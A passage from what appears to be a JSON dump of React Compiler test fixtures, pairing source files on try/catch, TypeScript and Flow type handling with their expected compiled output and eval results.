    "content": "\n## Input\n\n```javascript\nimport {throwInput} from 'shared-runtime';\n\nfunction Component(props) {\n  const callback = () => {\n    try {\n      throwInput([props.value]);\n    } catch (e) {\n      return e;\n    }\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { throwInput } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const callback = () => {\n      try {\n        throwInput([props.value]);\n      } catch (t1) {\n        const e = t1;\n        return e;\n      }\n    };\n    t0 = callback();\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.js",
    "content": "import {throwInput} from 'shared-runtime';\n\nfunction Component(props) {\n  const callback = () => {\n    try {\n      throwInput([props.value]);\n    } catch (e) {\n      return e;\n    }\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const callback = () => {\n    try {\n      return [];\n    } catch (e) {\n      return;\n    }\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  const callback = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = callback();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  try {\n    return [];\n  } catch (t0) {\n    return;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression.js",
    "content": "function Component(props) {\n  const callback = () => {\n    try {\n      return [];\n    } catch (e) {\n      return;\n    }\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {throwErrorWithMessage, shallowCopy} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  try {\n    x.push(throwErrorWithMessage('oops'));\n  } catch {\n    x.push(shallowCopy({}));\n  }\n  x.push(props.value); // extend the mutable range to include the try/catch\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { throwErrorWithMessage, shallowCopy } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.value) {\n    x = [];\n    try {\n      let t0;\n      if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = throwErrorWithMessage(\"oops\");\n        $[2] = t0;\n      } else {\n        t0 = $[2];\n      }\n      x.push(t0);\n    } catch {\n      let t0;\n      if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = shallowCopy({});\n        $[3] = t0;\n      } else {\n        t0 = $[3];\n      }\n      x.push(t0);\n    }\n\n    x.push(props.value);\n    $[0] = props.value;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.js",
    "content": "const {throwErrorWithMessage, shallowCopy} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  try {\n    x.push(throwErrorWithMessage('oops'));\n  } catch {\n    x.push(shallowCopy({}));\n  }\n  x.push(props.value); // extend the mutable range to include the try/catch\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {throwInput} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {\n    foo() {\n      try {\n        throwInput([props.value]);\n      } catch (e) {\n        return e;\n      }\n    },\n  };\n  return object.foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { throwInput } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const object = {\n      foo() {\n        try {\n          throwInput([props.value]);\n        } catch (t1) {\n          const e = t1;\n          return e;\n        }\n      },\n    };\n    t0 = object.foo();\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.js",
    "content": "import {throwInput} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {\n    foo() {\n      try {\n        throwInput([props.value]);\n      } catch (e) {\n        return e;\n      }\n    },\n  };\n  return object.foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const object = {\n    foo() {\n      try {\n        return [];\n      } catch (e) {\n        return;\n      }\n    },\n  };\n  return object.foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const object = {\n      foo() {\n        try {\n          return [];\n        } catch (t1) {\n          return;\n        }\n      },\n    };\n    t0 = object.foo();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method.js",
    "content": "function Component(props) {\n  const object = {\n    foo() {\n      try {\n        return [];\n      } catch (e) {\n        return;\n      }\n    },\n  };\n  return object.foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {throwErrorWithMessage} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  try {\n    x = throwErrorWithMessage('oops');\n  } catch {\n    x = null;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { throwErrorWithMessage } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  try {\n    let t0;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = throwErrorWithMessage(\"oops\");\n      $[0] = t0;\n    } else {\n      t0 = $[0];\n    }\n    x = t0;\n  } catch {\n    x = null;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.js",
    "content": "const {throwErrorWithMessage} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  try {\n    x = throwErrorWithMessage('oops');\n  } catch {\n    x = null;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.expect.md",
    "content": "\n## Input\n\n```javascript\ntype Status = 'pending' | 'success' | 'error';\n\nconst StatusIndicator = ({status}: {status: Status}) => {\n  return <div className={`status-${status}`}>Status: {status}</div>;\n};\n\nconst Component = ({status = 'pending' as Status}) => {\n  return <StatusIndicator status={status} />;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{status: 'success'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\ntype Status = \"pending\" | \"success\" | \"error\";\n\nconst StatusIndicator = (t0) => {\n  const $ = _c(3);\n  const { status } = t0;\n  const t1 = `status-${status}`;\n  let t2;\n  if ($[0] !== status || $[1] !== t1) {\n    t2 = <div className={t1}>Status: {status}</div>;\n    $[0] = status;\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n};\n\nconst Component = (t0) => {\n  const $ = _c(2);\n  const { status: t1 } = t0;\n  const status = t1 === undefined ? (\"pending\" as Status) : t1;\n  let t2;\n  if ($[0] !== status) {\n    t2 = <StatusIndicator status={status} />;\n    $[0] = status;\n    $[1] = t2;\n  } else {\n    t2 = $[1];\n  }\n  return t2;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ status: \"success\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"status-success\">Status: success</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.tsx",
    "content": "type Status = 'pending' | 'success' | 'error';\n\nconst StatusIndicator = ({status}: {status: Status}) => {\n  return <div className={`status-${status}`}>Status: {status}</div>;\n};\n\nconst Component = ({status = 'pending' as Status}) => {\n  return <StatusIndicator status={status} />;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{status: 'success'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  enum Bool {\n    True = 'true',\n    False = 'false',\n  }\n\n  let bool: Bool = Bool.False;\n  if (props.value) {\n    bool = Bool.True;\n  }\n  return <div>{bool}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  enum Bool {\n    True = \"true\",\n    False = \"false\",\n  }\n\n  let bool = Bool.False;\n  if (props.value) {\n    bool = Bool.True;\n  }\n  let t0;\n  if ($[0] !== bool) {\n    t0 = <div>{bool}</div>;\n    $[0] = bool;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>true</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.tsx",
    "content": "function Component(props) {\n  enum Bool {\n    True = 'true',\n    False = 'false',\n  }\n\n  let bool: Bool = Bool.False;\n  if (props.value) {\n    bool = Bool.True;\n  }\n  return <div>{bool}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction id<T>(x: T): T {\n  return x;\n}\n\nexport function Component<T = string>({fn = id<T>}: {fn?: (x: T) => T}) {\n  const value = fn('hi' as T);\n  return <div>{String(value)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction id(x) {\n  return x;\n}\n\nexport function Component(t0) {\n  const $ = _c(4);\n  const { fn: t1 } = t0;\n  const fn = t1 === undefined ? id : t1;\n  let t2;\n  if ($[0] !== fn) {\n    t2 = fn(\"hi\" as T);\n    $[0] = fn;\n    $[1] = t2;\n  } else {\n    t2 = $[1];\n  }\n  const value = t2;\n  const t3 = String(value);\n  let t4;\n  if ($[2] !== t3) {\n    t4 = <div>{t3}</div>;\n    $[2] = t3;\n    $[3] = t4;\n  } else {\n    t4 = $[3];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hi</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.tsx",
    "content": "function id<T>(x: T): T {\n  return x;\n}\n\nexport function Component<T = string>({fn = id<T>}: {fn?: (x: T) => T}) {\n  const value = fn('hi' as T);\n  return <div>{String(value)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, invoke} from 'shared-runtime';\n\nfunction Test() {\n  const str = invoke(identity<string>, 'test');\n  return str;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, invoke } from \"shared-runtime\";\n\nfunction Test() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = invoke(identity, \"test\");\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const str = t0;\n  return str;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"test\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.tsx",
    "content": "import {identity, invoke} from 'shared-runtime';\n\nfunction Test() {\n  const str = invoke(identity<string>, 'test');\n  return str;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nconst THEME_MAP: ReadonlyMap<string, string> = new Map([\n  ['default', 'light'],\n  ['dark', 'dark'],\n]);\n\nexport const Component = ({theme = THEME_MAP.get('default')!}) => {\n  return <div className={`theme-${theme}`}>User preferences</div>;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{status: 'success'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nconst THEME_MAP: ReadonlyMap<string, string> = new Map([\n  [\"default\", \"light\"],\n  [\"dark\", \"dark\"],\n]);\n\nexport const Component = (t0) => {\n  const $ = _c(2);\n  const { theme: t1 } = t0;\n  const theme = t1 === undefined ? THEME_MAP.get(\"default\") : t1;\n  const t2 = `theme-${theme}`;\n  let t3;\n  if ($[0] !== t2) {\n    t3 = <div className={t2}>User preferences</div>;\n    $[0] = t2;\n    $[1] = t3;\n  } else {\n    t3 = $[1];\n  }\n  return t3;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ status: \"success\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"theme-light\">User preferences</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nconst THEME_MAP: ReadonlyMap<string, string> = new Map([\n  ['default', 'light'],\n  ['dark', 'dark'],\n]);\n\nexport const Component = ({theme = THEME_MAP.get('default')!}) => {\n  return <div className={`theme-${theme}`}>User preferences</div>;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{status: 'success'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  type User = {name: string};\n  const user: User = {name: props.name};\n  return user;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Mofei'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = { name: props.name };\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const user = t0;\n  return user;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Mofei\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"name\":\"Mofei\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.ts",
    "content": "function Component(props) {\n  type User = {name: string};\n  const user: User = {name: props.name};\n  return user;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Mofei'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsParamAnnotation() {\n  type Foo = Bar;\n  const fun = (f: Foo) => {\n    console.log(f);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsParamAnnotation,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsParamAnnotation() {\n  const fun = _temp;\n\n  fun(\"hello, world\");\n}\nfunction _temp(f) {\n  console.log(f);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsParamAnnotation,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: ['hello, world']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.ts",
    "content": "// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsParamAnnotation() {\n  type Foo = Bar;\n  const fun = (f: Foo) => {\n    console.log(f);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsParamAnnotation,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsAnnotation() {\n  type Foo = Bar;\n  const fun = (f: Foo) => {\n    console.log(f);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsAnnotation,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\ntype Bar = string;\nfunction TypeAliasUsedAsAnnotation() {\n  const fun = _temp;\n\n  fun(\"hello, world\");\n}\nfunction _temp(f) {\n  console.log(f);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsAnnotation,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: ['hello, world']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.js",
    "content": "// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsAnnotation() {\n  type Foo = Bar;\n  const fun = (f: Foo) => {\n    console.log(f);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsAnnotation,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsVariableAnnotation() {\n  type Foo = Bar;\n  const fun = f => {\n    let g: Foo = f;\n    console.log(g);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsVariableAnnotation,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsVariableAnnotation() {\n  const fun = _temp;\n\n  fun(\"hello, world\");\n}\nfunction _temp(f) {\n  const g = f;\n  console.log(g);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsVariableAnnotation,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: ['hello, world']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.ts",
    "content": "// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsVariableAnnotation() {\n  type Foo = Bar;\n  const fun = f => {\n    let g: Foo = f;\n    console.log(g);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsVariableAnnotation,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsAnnotation() {\n  type Foo = Bar;\n  const fun = f => {\n    let g: Foo = f;\n    console.log(g);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsAnnotation,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\ntype Bar = string;\nfunction TypeAliasUsedAsAnnotation() {\n  const fun = _temp;\n\n  fun(\"hello, world\");\n}\nfunction _temp(f) {\n  const g = f;\n  console.log(g);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsAnnotation,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: ['hello, world']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.js",
    "content": "// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\ntype Bar = string;\nfunction TypeAliasUsedAsAnnotation() {\n  type Foo = Bar;\n  const fun = f => {\n    let g: Foo = f;\n    console.log(g);\n  };\n  fun('hello, world');\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TypeAliasUsedAsAnnotation,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nfunction Component(props) {\n  type User = {name: string};\n  const user: User = {name: props.name};\n  return user;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Mofei'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = { name: props.name };\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const user = t0;\n  return user;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Mofei\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"name\":\"Mofei\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.js",
    "content": "// @flow\nfunction Component(props) {\n  type User = {name: string};\n  const user: User = {name: props.name};\n  return user;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Mofei'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  if (a > b) {\n    let m = {};\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction component(a, b) {\n  if (a > b) {\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.js",
    "content": "function component(a, b) {\n  if (a > b) {\n    let m = {};\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-binary-operator.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let a = some();\n  let b = someOther();\n  if (a > b) {\n    let m = {};\n  }\n}\n\n```\n\n## Code\n\n```javascript\nfunction component() {\n  const a = some();\n  const b = someOther();\n  if (a > b) {\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-binary-operator.js",
    "content": "function component() {\n  let a = some();\n  let b = someOther();\n  if (a > b) {\n    let m = {};\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\ntype Foo = {bar: string};\nfunction Component(props) {\n  const x = {bar: props.bar};\n  const y = (x: Foo);\n  y.bar = 'hello';\n  const z = (y: Foo);\n  return z;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\ntype Foo = { bar: string };\nfunction Component(props) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== props.bar) {\n    const x = { bar: props.bar };\n    y = (x: Foo);\n    y.bar = \"hello\";\n    $[0] = props.bar;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  const z = (y: Foo);\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.js",
    "content": "// @flow\ntype Foo = {bar: string};\nfunction Component(props) {\n  const x = {bar: props.bar};\n  const y = (x: Foo);\n  y.bar = 'hello';\n  const z = (y: Foo);\n  return z;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.expect.md",
